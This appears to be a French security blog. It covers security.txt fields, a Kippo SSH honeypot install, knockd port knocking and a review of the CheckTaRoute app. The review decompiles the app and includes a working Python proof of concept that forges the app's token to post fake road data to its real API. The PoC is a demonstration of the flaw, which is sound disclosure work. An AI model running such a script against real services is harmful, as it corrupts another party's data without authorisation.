Plusieurs champs peuvent être définis dans ce fichier :

  • Acknowledgements : Indique la page où sont remerciés les chercheurs ayant détectés une vulnérabilité
  • Canonical : Indique l’adresse canonique où se situe le fichier security.txt
  • Contact : Indique l’adresse de contact
  • Encryption : Indique la clé permettant de chiffrer les communications
  • Expires : Indique une date d’expiration après laquelle le contenu du fichier est considéré comme obsolète
  • Hiring : Indique un lien vers les offres d’emplois de la société liées à la sécurité
  • Policy : Indique un lien vers la politique de la société concernant la remontée de vulnérabilité
  • Preferred-Languages : Indique quels langages sont à privilégier pour les échanges

Presque tous ces champs sont facultatifs et seul le champ Contact est obligatoire. Celui-ci doit contenir une URI vers l’adresse de contact, il s’agit souvent d’une adresse email, mais cela peut être un numéro de téléphone ou un formulaire de contact, l’important étant de respecter le format RFC3986.

Voici par exemple le fichier security.txt pour ce site :

Canonical: https://y0no.fr/.well-known/security.txt
Contact: mailto:security@y0no.fr
Encryption: https://y0no.fr/key.gpg
Preferred-Languages: en, fr

Afin de tenter de garantir l’intégrité de ce fichier, il est aussi possible de signer numériquement ce fichier à l’aide d’OpenPGP avec la commande gpg --clearsign /tmp/security.txt :

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Canonical: https://y0no.fr/.well-known/security.txt
Contact: mailto:security@y0no.fr
Encryption: https://y0no.fr/key.gpg
Preferred-Languages: en, fr
-----BEGIN PGP SIGNATURE-----
<...>

Conclusion

Bien que ce fichier soit simple, il reste efficace et offre une souplesse permettant de s’adapter à chaque cas d’utilisation. Avec le nombre grandissant de chercheur en sécurité, ce type d’initiative est la bienvenue et permet de définir des règles simples et compréhensives de tous.

En plus, si la recherche de bugs vous botte bien, YesWeHack fournit une extension navigateur nommée YesWeHack VDP Finder qui permet de détecter la présence ou non d’un fichier security.txt

Si jamais vous trouvez une vulnérabilité sur un système qui ne semble pas utiliser le fichier security.txt, il est toujours possible de remonter les éléments par des intermediaire de confiance tels que Zerodisclo. Non ce n’est pas encore de la pub à YesWeHack, c’est juste qu’ils font les choses bien ;)

Installation de Kippo sous debian

Présentation

Kippo est un honeypot à interaction moyenne, son but est d’émuler un service SSH afin d’archiver les tentatives de brute force des attaquants, mais aussi les interactions qu’ils effectuent une fois connectés.

En effet, il est possible grâce à kippo de définir un mot de passe faible afin de laisser l’attaquant avoir un shell sur la machine. Cet environnement est bien sûr protégé, mais permet à notre système de journaliser les commandes qui ont été entrées ainsi que les fichiers téléchargés.

De plus lorsque l’attaquant pense quitter le shell SSH pour revenir sur son shell local, Kippo l’amène dans un deuxième environnement protégé afin de loguer les commandes qu’il aurait pu entrer sur sa machine pour déclencher l’attaque.

Installation

Installation des dépendances

Pour fonctionner Kippo a juste besoin de Python. Néanmoins pour une installation propre, nous allons installer ses dépendances dans un environnement virtuel avec l’aide de PIP et VirtualEnv. Enfin nous allons installer la librairie MySQL clients au cas où nous voudrions nous interfacer avec une base de données MySQL.

$ sudo apt-get install build-essential python-dev libmysqlclient-dev python-virtualenv python-pip

Il s’agit de la seule commande que l’on doit exécuter en root durant l’installation.

Créer l’environnement virtuel

Il est maintenant nécessaire de créer l’environnement virtuel python que nous appellerons “kippo”. Pour celà, il faut entrer la commande suivante:

$ virtualenv kippo_venv

Puis il faut l’activer afin d’entrer dans cet environnement:

$ source kippo_venv/bin/activate

Après cette commande le shell change afin de ressembler à celui-ci:

(kippo_venv)$

Installer les dépendances Python

Maintenant que l’environnement virtuel est fonctionnel, il est possible d’installer les dépendances python du projet:

(kippo_venv)$ pip install twisted==15 pyasn1 pycrypto

Installation de Kippo

Après avoir installé les dépendances de kippo, il suffit maintenant de le télécharger grâce à git :

(kippo_venv)$ git clone https://github.com/desaster/kippo.git

Configuration de Kippo

La configuration de kippo se situe dans kippo.cfg, Par défaut ce fichier n’existe pas, mais un template est fourni avec une configuration basique, il suffit donc simplement de la copier sous un autre nom:

(kippo_venv)$ cd kippo
(kippo_venv)$ cp kippo.cfg.dist kippo.cfg

Il est aussi possible de créer différents utilisateur dans le fichier data/userdb.txt.

Enfin, il est déconseillé de lancer kippo sur le port 22. En effet sous GNU/Linux tous les ports en dessous de 1024 sont des ports réservés nécessitant des droits privilégiés. Il est donc conseillé de laisser le port 2222 par défaut et d’effectuer du NAT afin de rediriger le port 22 vers le port 2222 de la machine. Si kippo est exécuté sous Windows, il est tout à fait possible de mettre le port 22 qui est habituellement libre.

Rediriger le port 22 vers le port 2222

La configuration du port forwarding se fait via une simple règle IPTables:

$ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222

Utilisation

Kippo peut se lancer de deux manières, soit en arrière-plan, soit au premier plan.

Lancement de Kippo au premier plan

Tout d’abord, pour lancer kippo

(kippo)$ twistd -n -y kippo.tac

Lancement de Kippo au arrière-plan

Contrairement au lancement précédent, celui-ci ne nécessite pas que l’utilisateur soit connecté à l’environnement virtuel. Le script de lancement prend tout simplement le nom de l’environnement en argument:

$ ./start.sh kippo_venv

L’arrêt du logiciel se fera via l’exécution du script stop.sh.

Port Knocking et installation de Knockd sous debian

Le port no quoi ?

Le port knocking est un système permettant de débloquer les port d’une machine en fonction d’une suite de «knock» reçu sur certains ports. De ce fait, il est possible d’ouvrir un port ssh qu’après avoir reçu un knock sur le port 3000 et 8000, voir même de demander un knock de type TCP et l’autre de type UDP. Un knock est représenter par une trame TCP ou UDP visant un port particulier du système

Installation de port knocking sous debian

Présentation

knockd est un daemon permettant de faire du port knocking sous Linux. Le service surveille toutes les connexions entrantes sur les interfaces de la machine, si les connexions consécutives correspondent à une séquence de «knocks» qu’il a dans sa configuration, alors il execute une commande permettant d’ouvrir un port.

Installation

Pour installer knockd sous debian c’est très simple. Celui-ci est disponible dans les paquets de Debian Wheezy et peut donc être installé avec la commande suivante:

apt-get install knockd

Après avoir installer knockd, il est neccessaire de modifier le fichier de configuration /etc/default/knockd pour lui donner l’autorisation de démarrer. Pour celà, il suffit de modifier la ligne suivante:

# Avant
START_KNOCKD=0
# Après
START_KNOCKD=1

Configuration de knockd

Nous allons maintenant configuer knockd pour ouvrir le port 22 (ssh) lorsque des knocks sont détectés sur les ports 7000, 8000 et 9000 en TCP. Nous allons donc modifier le fichier /etc/knockd.conf et lui appliquer la configuration suivante.

[opencloseSSH]
        sequence    = 7000,8000,9000
        seq_timeout = 5
        start_command     = /sbin/iptables -I INPUT 1 -s %IP% -p tcp --dport 22 -j ACCEPT
        tcpflags    = syn
        cmd_timeout   = 10
        stop_command  = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

Nous demandons donc à knockd d’ouvrir le port en rajoutant une règles iptables quand les knocks correspondent. Nous lui demandons aussi de refermer ce port au bout de 10 secondes. Par défaut les ports indiqué doivent être «knocké» en TCP, mais il est aussi possible de demander de l’UDP. Pour ça il suffit d’indiquer le port suivant de son protocôle de la manière suivante: num_port:protcole.

Nous pouvons maintenant démarrer knockd:

service knockd start

Configuration iptables

Nous allons maintenant définir quelques règles iptables pour profiter de knockd. En effet, de base, debian ne définis aucune règle de filtrage. Tout les ports sont donc ouvert par défaut. Nous allons donc définir des règles permettant de laisser passer certaines trames comme celle transitant sur notre boucle locale. Puis nous demanderons à iptables de droper tout les paquets en dernier recours:

iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -j DROP

Ouvrir le port à distance

Pour éxecuter une suite de knock rien de plus simple. Il y a même plusieurs solutions pour le faire.

Le client knock

Lorsque l’on installe le serveur de port knocking «knockd», un client est automatiquement installé avec. Il se nomme subtilement knock. Pour l’utiliser rien de plus simple:

knock ip_server 7000 8000 9000

Et par exemple si le port 8000 doit être «knocké» en UDP:

knock ip_server 7000 8000:udp 9000

NMAP

Il est aussi d’utiliser le scanner de port NMAP pour effectuer des knocks:

nmap -Pn --host_timeout 201 --max-retries 0  -p 7000 ip_server
nmap -Pn --host_timeout 201 --max-retries 0  -p 8000 ip_server
nmap -Pn --host_timeout 201 --max-retries 0  -p 9000 ip_server

Conclusion

Comme vous pouvez le voir knockd est très simple à mettre en place. Pensez tout de même à prendre votre temps sur la rédaction de vos règles iptables, ça serait balot de perdre la main sur votre machine distante pendant la configuration ;)

OpenData76: Sécurité de l’application CheckTaRoute

CheckTaRoute

Grand vainqueur du Hackathon organisé par la région et par l’équipe d’Hackhours, l’équipe de Check Ta Route a proposé un système permettant d’évaluer l’état du revêtement d’une route au travers d’une application mobile pour Android. Pour ce faire, ils utilisent l’accéléromètre présent dans les téléphones pour mesurer les vibrations émises durant un trajet et les couplent avec les coordonnées GPS. Ainsi ils peuvent connaitre l’état d’une route à un instant t et une position X,Y.

Après avoir entendu dire qu’ils avaient eu quelques soucis de sécurité mais que c’était corrigé, ma curiosité m’a poussé à aller voir de plus près le fonctionnement de l’application pour voir si elle était sécurisée.

Capture du trafic réseau

La première chose qui m’est venue en tête a été d’analyser le trafic réseau pour voir comment le téléphone envoyait les informations au serveur de CheckTaRoute. J’ai donc mis en place un point d’accès Wi-Fi sur mon ordinateur auquel j’ai connecté mon téléphone portable. J’ai ensuite coupé la connexion réseau mobile de mon téléphone pour être sûr que mes données soient envoyées qu’au travers du point d’accès. Enfin j’ai lancé WireShark pour voir ce qui se tramait là-dessous (oui je suis fier du jeu de mot…).

Malheureusement, pas grand chose de magique, les données ne semble être envoyées qu’au travers du réseau mobile et les quelques autres données qui sont autorisées à passer par le Wi-Fi passent en HTTPS. Vu que j’ai pas voulu me prendre la tête en vérifiant si les certificats auto-signés passaient, je suis directement passé à une analyse de code.

Analyse du client mobile

Récupération et décompilation du code

Vu que l’analyse réseau n’avait pas été fructueuse, j’ai préféré regarder directement dans le code du client mobile.

Pour les personnes qui ne le savent pas, il est facilement possible de décompiler une application Android pour retrouver le code java utilisé avant la compilation en APK.

Pour commencer, il faut récupérer l’APK sur le playstore. Il existe aujourd’hui des sites web ou des extensions navigateurs pour le faire facilement. Dans mon cas mon choix s’est porté sur Evozi.

Pour la décompilation, c’est pareil. Il existe pas mal de services sur le net permettant de le faire sans avoir à installer APKtool, jade, dex2jar, etc… Pour décompiler j’utilise Android APK decompiler qui permet de le faire simplement et rapidement.

Analyse du code JAVA

Le code s’articule autour de quatre classes permettant de:

  • Récupérer les coordonnées GPS
  • Enregistrer les vibrations
  • Traiter les vibrations
  • Envoyer les données traités

Vous l’aurez compris, ce qui nous interesse ici c’est l’envoi de données. Voici le code:

String s = as[0];
String s1 = as[1];
int i = (int)((2.32F * (float)(System.currentTimeMillis() / 1000L)) / 10000F);
String s2 = (new StringBuilder("HackathonOpenData766e54")).append(Integer.toHexString(i)).append(5).append("a").append(0).append(1).append("CheckTaRouteEtPasMonCode").toString();
try
{
    String s3 = (new StringBuilder("Data=")).append(URLEncoder.encode(s1, "UTF-8")).toString();
    HttpsURLConnection httpsurlconnection = (HttpsURLConnection)(new URL(s)).openConnection();
    httpsurlconnection.setRequestMethod("POST");
    httpsurlconnection.setRequestProperty("Content-length", String.valueOf(s3.length()));
    httpsurlconnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    httpsurlconnection.setRequestProperty("User-Agent", s2);
    httpsurlconnection.setDoOutput(true);
    httpsurlconnection.setDoInput(true);
    DataOutputStream dataoutputstream = new DataOutputStream(httpsurlconnection.getOutputStream());
    dataoutputstream.writeBytes(s3);
    dataoutputstream.close();
}

...

serveur_communication serveur_communication1 = new serveur_communication(null);
String as[] = new String[2];
as[0] = "https://www.checktaroute.fr/API.php";
as[1] = stringbuilder.toString();
serveur_communication1.execute(as);

...

stringbuilder.append((new StringBuilder()).append(af[0]).append(",").append(af[1]).append("|").append(af[2]).append(",").append(af[3]).append("|").append(af[4]).append("|").append(af[5]).append("&").toString());

Décortiquons ensemble ce que fait le code:

  1. Il crée une requête avec un User-Agent custom et un Content-Type défini à ’application/x-www-form-urlencoded’.
  2. Il fait une requête à l’adresse: ‘https://www.checktaroute.fr/API.php'.
  3. Il ajoute en arguments les données traitées sous la forme: y1,x1|y2,x2|Q|P.

Dans notre cas x1 et y1 représentent les coordonnées GPS de notre point de départ, x2 et y2 nos coordonnées actuelles. Nous avons Q qui represente la qualité de la route et P la précision (si j’ai bien compris). Toutes les variables sont des nombres flottants.

Pour vérifier notre hypothèse les auteurs de l’application ont laissé une fonction permettant de tester l’envoi de données:

public void test_envoi_fichier(View view)
{
    ArrayList arraylist = new ArrayList();
    arraylist.add(new float[] {
        49.43052F, 1.090565F, 49.43403F, 1.107988F, 9F, 8F
    });
    (new envoiDonneesSecurise()).envoyerDonnees(arraylist);
}

Maintenant que l’on sait comment fonctionne l’application, il est temps de faire un script permettant d’émuler le fonctionnement de l’application mobile.

Rédaction d’un Proof Of Concept (PoC)

Dans un premier temps, nous voulons réussir à écrire des informations sur la carte. Comme je ne voulais pas pourrir les informations utiles sur Rouen, j’ai décider de prendre les coordonnées d’un beau p’tit village nommé Montmain à l’est de Rouen.

Voici donc à quoi ressemble le PoC permettant d’écrire à Montmain:

from time import time
import requests

x1 = 1.242533
y1 = 49.407219
x2 = 1.244099
y2 = 49.406870

token = '%x' % (2.32 * time() // 10000)
payload = 'Data={0},{1}|{2},{3}|9.0|8.0'.format(y1,x1, y2, x2)

headers = {
    'User-Agent': 'HackathonOpenData766e54%s5a01CheckTaRouteEtPasMonCode' % token,
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': len(payload)
}

r = requests.post('https://www.checktaroute.fr/API.php', headers=headers, data=payload)

Le résultat:

montmain

Utilisation d’OpenData76

Le but du Hackathon du weekend dernier était d’utiliser les données d’OpenData76 dans un projet. J’ai donc cherché dans le client l’utilisation qui en été faite, mais malheureusement je n’ai rien trouvé. On pourrait penser qu’elles sont utilisées côté serveur, mais rien de ce qui pourrait être utilisé n’apparait pour l’utilisateur.

Librairie MySQL

Durant l’étude du code de l’application mobile, j’ai remarqué que celle-ci intégrait des librairies permettant d’utiliser MySQL alors qu’aucune connexion n’est effectuée vers une base de données à partir du client mobile. Donc à part alourdir l’application je ne comprends pas son utilisation…

Conclusion

L’application semble avoir conquis le jury ce weekend mais je doute de pas mal de point sur la faisabilité technique d’un tel projet. Je n’ai pas vu de calibrage de la voiture dans l’application, il est donc très relatif de pouvoir juger de l’état de la route sans prendre en compte les amortisseurs, et les pneus de la voiture. Il existe beaucoup de facteurs d’absorption que l’application ne gère pas. Un autre exemple est dans les données de l’accéléromètre. Les seules coordonnées qui sont traité concerne l’axe Z, c’est à dire que si le téléphone n’est pas parfaitement droit, les valeurs enregistrées sont tronquées.

En bref, une très bonne idée, mais une réalisation technique à revoir complêtement, je pense que l’équipe de CheckTaRoute va devoir revoir la conception de son projet si elle ne veut pas que n’importe qui puisse écrire sur sa carte.

Aller, sur ce, bonne journée o/